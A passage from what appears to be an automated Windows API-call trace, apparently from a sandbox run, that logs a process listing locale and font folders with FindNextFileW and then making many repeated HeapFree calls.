ftLastAccessTime.dwLowDateTime=0xa0009692, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef538bee, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="de-DE", cAlternateFileName="")) returned 1 [0157.854] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fd0988 | out: hHeap=0x420000) returned 1 [0157.854] FindNextFileW (in: hFindFile=0x484418, lpFindFileData=0x371fa7c | out: lpFindFileData=0x371fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef555ff8, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="el-GR", cAlternateFileName="")) returned 1 [0157.854] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fd0988 | out: hHeap=0x420000) returned 1 [0157.854] FindNextFileW (in: hFindFile=0x484418, lpFindFileData=0x371fa7c | out: lpFindFileData=0x371fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc482dc87, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="en-GB", cAlternateFileName="")) returned 1 [0157.854] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fd0988 | out: hHeap=0x420000) returned 1 [0157.854] FindNextFileW (in: hFindFile=0x484418, lpFindFileData=0x371fa7c | out: lpFindFileData=0x371fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef57d0f5, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef57d0f5, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="en-US", cAlternateFileName="")) returned 1 [0157.854] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fd0988 | out: hHeap=0x420000) returned 1 [0157.854] FindNextFileW (in: hFindFile=0x484418, lpFindFileData=0x371fa7c | out: lpFindFileData=0x371fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000b9ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef586d37, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="es-ES", cAlternateFileName="")) returned 1 [0157.854] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fd0988 | out: hHeap=0x420000) returned 1 [0157.854] FindNextFileW (in: hFindFile=0x484418, lpFindFileData=0x371fa7c | out: lpFindFileData=0x371fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000c12e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc4853f40, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="es-MX", cAlternateFileName="")) returned 1 [0157.855] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fd0988 | out: hHeap=0x420000) returned 1 [0157.855] FindNextFileW (in: hFindFile=0x484418, lpFindFileData=0x371fa7c | out: lpFindFileData=0x371fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc487a0b9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="et-EE", cAlternateFileName="")) returned 1 [0157.855] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fd0988 | out: hHeap=0x420000) returned 1 [0157.855] FindNextFileW (in: hFindFile=0x484418, lpFindFileData=0x371fa7c | out: lpFindFileData=0x371fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000cf3a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef59a5b1, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0157.862] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fd0988 | out: hHeap=0x420000) returned 1 [0157.862] FindNextFileW (in: hFindFile=0x484418, lpFindFileData=0x371fa7c | out: lpFindFileData=0x371fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc49ab3c7, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0109451, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef999ae4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Fonts", cAlternateFileName="")) returned 1 [0157.872] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fd0988 | out: hHeap=0x420000) returned 1 [0157.872] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fd0988 | out: hHeap=0x420000) returned 1 [0157.873] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fd0988 | out: hHeap=0x420000) returned 1 [0157.875] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fd0988 | out: hHeap=0x420000) returned 1 [0157.876] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fd0988 | out: hHeap=0x420000) returned 1 [0157.919] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fd0988 | out: hHeap=0x420000) returned 1 [0157.925] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fd0988 | out: hHeap=0x420000) returned 1 [0157.927] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fd0988 | out: hHeap=0x420000) returned 1 [0157.928] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fd0988 | out: hHeap=0x420000) returned 1 [0157.930] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fd0988 | out: hHeap=0x420000) returned 1 [0157.934] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fd0988 | out: hHeap=0x420000) returned 1 [0157.934] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fd0988 | out: hHeap=0x420000) returned 1 [0157.937] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fd0988 | out: hHeap=0x420000) returned 1 [0157.941] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fd0988 | out: hHeap=0x420000) returned 1 [0157.944] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fd0988 | out: hHeap=0x420000) returned 1 [0157.944] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fd0988 | out: hHeap=0x420000) returned 1 [0157.948] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fe4818 | out: hHeap=0x420000) returned 1 [0157.948] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fd0988 | out: hHeap=0x420000) returned 1 [0157.950] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fd0988 | out: hHeap=0x420000) returned 1 [0157.951] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fd0988 | out: hHeap=0x420000) returned 1 [0157.952] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fd0988 | out: hHeap=0x420000) returned 1 [0157.953] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fd0988 | out: hHeap=0x420000) returned 1 [0157.954] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fd0988 | out: hHeap=0x420000) returned 1 [0157.954] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fd0988 | out: hHeap=0x420000) returned 1 [0157.955] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fd0988 | out: hHeap=0x420000) returned 1 [0157.955] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fd0988 | out: hHeap=0x420000) returned 1 [0157.956] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fd0988 | out: hHeap=0x420000) returned 1 [0157.958] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fd0988 | out: hHeap=0x420000) returned 1 [0157.959] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fd0988 | out: hHeap=0x420000) returned 1 [0157.960] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fd0988 | out: hHeap=0x420000) returned 1 [0157.960] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fb0978 | out: hHeap=0x420000) returned 1 [0157.962] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fb0978 | out: hHeap=0x420000) returned 1 [0158.108] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fb0978 | out: hHeap=0x420000) returned 1 [0158.156] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fe4818 | out: hHeap=0x420000) returned 1 [0158.156] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fe4818 | out: hHeap=0x420000) returned 1 [0158.156] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024838 | out: hHeap=0x420000) returned 1 [0158.159] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4034840 | out: hHeap=0x420000) returned 1 [0158.161] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4044848 | out: hHeap=0x420000) returned 1 [0158.161] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4044848 | out: hHeap=0x420000) returned 1 [0158.162] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4044848 | out: hHeap=0x420000) returned 1 [0158.162] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4044848 | out: hHeap=0x420000) returned 1 [0158.162] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4044848 | out: hHeap=0x420000) returned 1 [0158.162] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4044848 | out: hHeap=0x420000) returned 1 [0158.162] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4044848 | out: hHeap=0x420000) returned 1 [0158.164] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4044848 | out: hHeap=0x420000) returned 1 [0158.164] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4044848 | out: hHeap=0x420000) returned 1 [0158.164] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4044848 | out: hHeap=0x420000) returned 1 [0158.164] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4044848 | out: hHeap=0x420000) returned 1 [0158.164] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4044848 | out: hHeap=0x420000) returned 1 [0158.164] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4044848 | out: hHeap=0x420000) returned 1 [0158.165] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4044848 | out: hHeap=0x420000) returned 1 [0158.165] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4074858 | out: hHeap=0x420000) returned 1 [0158.165] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4074858 | out: hHeap=0x420000) returned 1 [0158.165] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4074858 | out: hHeap=0x420000) returned 1 [0158.167] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4074858 | out: hHeap=0x420000) returned 1 [0158.167] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4074858 | out: hHeap=0x420000) returned 1 [0158.168] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4074858 | out: hHeap=0x420000) returned 1 [0158.168] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4074858 | out: hHeap=0x420000) returned 1 [0158.169] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4074858 | out: hHeap=0x420000) returned 1 [0158.169] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4074858 | out: hHeap=0x420000) returned 1 [0158.170] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4074858 | out: hHeap=0x420000) returned 1 [0158.170] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4044848 | out: hHeap=0x420000) returned 1 [0158.170] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4044848 | out: hHeap=0x420000) returned 1 [0158.170] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4044848 | out: hHeap=0x420000) returned 1 [0158.170] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4044848 | out: hHeap=0x420000) returned 1 [0158.171] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4044848 | out: hHeap=0x420000) returned 1 [0158.173] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4044848 | out: hHeap=0x420000) returned 1 [0158.173] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4044848 | out: hHeap=0x420000) returned 1 [0158.173] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4044848 | out: hHeap=0x420000) returned 1 [0158.174] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4044848 | out: hHeap=0x420000) returned 1 [0158.175] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4044848 | out: hHeap=0x420000) returned 1 [0158.175] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4044848 | out: hHeap=0x420000) returned 1 [0158.175] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4044848 | out: hHeap=0x420000) returned 1 [0158.176] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4044848 | out: hHeap=0x420000) returned 1 [0158.176] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4044848 | out: hHeap=0x420000) returned 1 [0158.177] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4044848 | out: hHeap=0x420000) returned 1 [0158.177] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4044848 | out: hHeap=0x420000) returned 1 [0158.177] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4044848 | out: hHeap=0x420000) returned 1 [0158.178] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4044848 | out: hHeap=0x420000) returned 1 [0158.178] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4044848 | out: hHeap=0x420000) returned 1 [0158.178] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4044848 | out: hHeap=0x420000) returned 1 [0158.179] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4044848 | out: hHeap=0x420000) returned 1 [0158.179] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4044848 | out: hHeap=0x420000) returned 1 [0158.179] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4044848 | out: hHeap=0x420000) returned 1 [0158.180] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4044848 | out: hHeap=0x420000) returned 1 [0158.231] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4044848 | out: hHeap=0x420000) returned 1 [0158.231] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4044848 | out: hHeap=0x420000) returned 1 [0158.231] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4044848 | out: hHeap=0x420000) returned 1 [0158.231] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4034840 | out: hHeap=0x420000) returned 1 [0158.239] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4034840 | out: hHeap=0x420000) returned 1 [0158.239] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4074858 | out: hHeap=0x420000) returned 1 [0158.244] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4034840 | out: hHeap=0x420000) returned 1 [0158.244] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4074858 | out: hHeap=0x420000) returned 1 [0158.246] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4074858 | out: hHeap=0x420000) returned 1 [0158.247] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4074858 | out: hHeap=0x420000) returned 1 [0158.250] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4074858 | out: hHeap=0x420000) returned 1 [0158.250] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4034840 | out: hHeap=0x420000) returned 1 [0158.250] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4074858 | out: hHeap=0x420000) returned 1 [0158.252] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4034840 | out: hHeap=0x420000) returned 1 [0158.252] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4074858 | out: hHeap=0x420000) returned 1 [0158.256] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4074858 | out: hHeap=0x420000) returned 1 [0158.256] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4074858 | out: hHeap=0x420000) returned 1 [0158.265] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4044848 | out: hHeap=0x420000) returned 1 [0158.266] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4034840 | out: hHeap=0x420000) returned 1 [0158.266] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4074858 | out: hHeap=0x420000) returned 1 [0158.268] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024838 | out: hHeap=0x420000) returned 1 [0158.269] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4074858 | out: hHeap=0x420000) returned 1 [0158.307] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3ff4820 | out: hHeap=0x420000) returned 1 [0158.308] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024838 | out: hHeap=0x420000) returned 1 [0158.312] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3ff4820 | out: hHeap=0x420000) returned 1 [0158.370] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fd0988 | out: hHeap=0x420000) returned 1 [0158.371] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3ff4820 | out: hHeap=0x420000) returned 1 [0158.381] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3ff4820 | out: hHeap=0x420000) returned 1 [0158.382] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fd0988 | out: hHeap=0x420000) returned 1 [0158.382] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4074858 | out: hHeap=0x420000) returned 1 [0158.384] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0158.462] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fb0978 | out: hHeap=0x420000) returned 1 [0158.480] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fb0978 | out: hHeap=0x420000) returned 1 [0158.481] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fb0978 | out: hHeap=0x420000) returned 1 [0158.481] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fd0988 | out: hHeap=0x420000) returned 1 [0158.988] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0158.991] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0158.993] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0158.993] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3ff4820 | out: hHeap=0x420000) returned 1 [0158.997] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0158.998] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0158.999] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0159.003] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0159.006] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0159.009] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0159.012] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024838 | out: hHeap=0x420000) returned 1 [0159.013] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0159.013] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0159.016] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0159.020] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0159.020] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3ff4820 | out: hHeap=0x420000) returned 1 [0159.022] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4074858 | out: hHeap=0x420000) returned 1 [0159.022] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fd0988 | out: hHeap=0x420000) returned 1 [0159.286] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4074858 | out: hHeap=0x420000) returned 1 [0159.292] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4074858 | out: hHeap=0x420000) returned 1 [0159.299] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fb08d0 | out: hHeap=0x420000) returned 1 [0160.337] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3ff4820 | out: hHeap=0x420000) returned 1 [0160.370] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0160.370] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3ff4820 | out: hHeap=0x420000) returned 1 [0160.370] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fb08d0 | out: hHeap=0x420000) returned 1 [0160.376] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3ff4820 | out: hHeap=0x420000) returned 1 [0160.378] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3ff4820 | out: hHeap=0x420000) returned 1 [0160.380] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3ff4820 | out: hHeap=0x420000) returned 1 [0160.380] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fb08d0 | out: hHeap=0x420000) returned 1 [0160.383] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fb08d0 | out: hHeap=0x420000) returned 1 [0160.465] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fb08d0 | out: hHeap=0x420000) returned 1 [0160.477] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fb08d0 | out: hHeap=0x420000) returned 1 [0161.875] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fb08d0 | out: hHeap=0x420000) returned 1 [0161.876] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fb08d0 | out: hHeap=0x420000) returned 1 [0161.883] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40371c8 | out: hHeap=0x420000) returned 1 [0161.884] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40371c8 | out: hHeap=0x420000) returned 1 [0161.885] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40371c8 | out: hHeap=0x420000) returned 1 [0161.892] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40371c8 | out: hHeap=0x420000) returned 1 [0161.892] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fb08d0 | out: hHeap=0x420000) returned 1 [0161.900] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x408ef20 | out: hHeap=0x420000) returned 1 [0162.187] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x408ef20 | out: hHeap=0x420000) returned 1 [0162.231] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024838 | out: hHeap=0x420000) returned 1 [0162.234] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024838 | out: hHeap=0x420000) returned 1 [0162.236] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024838 | out: hHeap=0x420000) returned 1 [0162.258] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40371c8 | out: hHeap=0x420000) returned 1 [0162.259] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40371c8 | out: hHeap=0x420000) returned 1 [0162.259] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40371c8 | out: hHeap=0x420000) returned 1 [0162.260] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40371c8 | out: hHeap=0x420000) returned 1 [0162.795] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40371c8 | out: hHeap=0x420000) returned 1 [0162.813] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4160fa0 | out: hHeap=0x420000) returned 1 [0162.822] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4160fa0 | out: hHeap=0x420000) returned 1 [0162.961] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4160fa0 | out: hHeap=0x420000) returned 1 [0162.980] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4160fa0 | out: hHeap=0x420000) returned 1 [0162.987] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4160fa0 | out: hHeap=0x420000) returned 1 [0162.990] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4160fa0 | out: hHeap=0x420000) returned 1 [0162.996] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4160fa0 | out: hHeap=0x420000) returned 1 [0163.000] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4160fa0 | out: hHeap=0x420000) returned 1 [0163.050] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4160fa0 | out: hHeap=0x420000) returned 1 [0163.069] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4160fa0 | out: hHeap=0x420000) returned 1 [0163.081] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4160fa0 | out: hHeap=0x420000) returned 1 [0163.083] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4160fa0 | out: hHeap=0x420000) returned 1 [0163.084] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4160fa0 | out: hHeap=0x420000) returned 1 [0163.086] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4160fa0 | out: hHeap=0x420000) returned 1 [0163.088] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4160fa0 | out: hHeap=0x420000) returned 1 [0163.089] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4160fa0 | out: 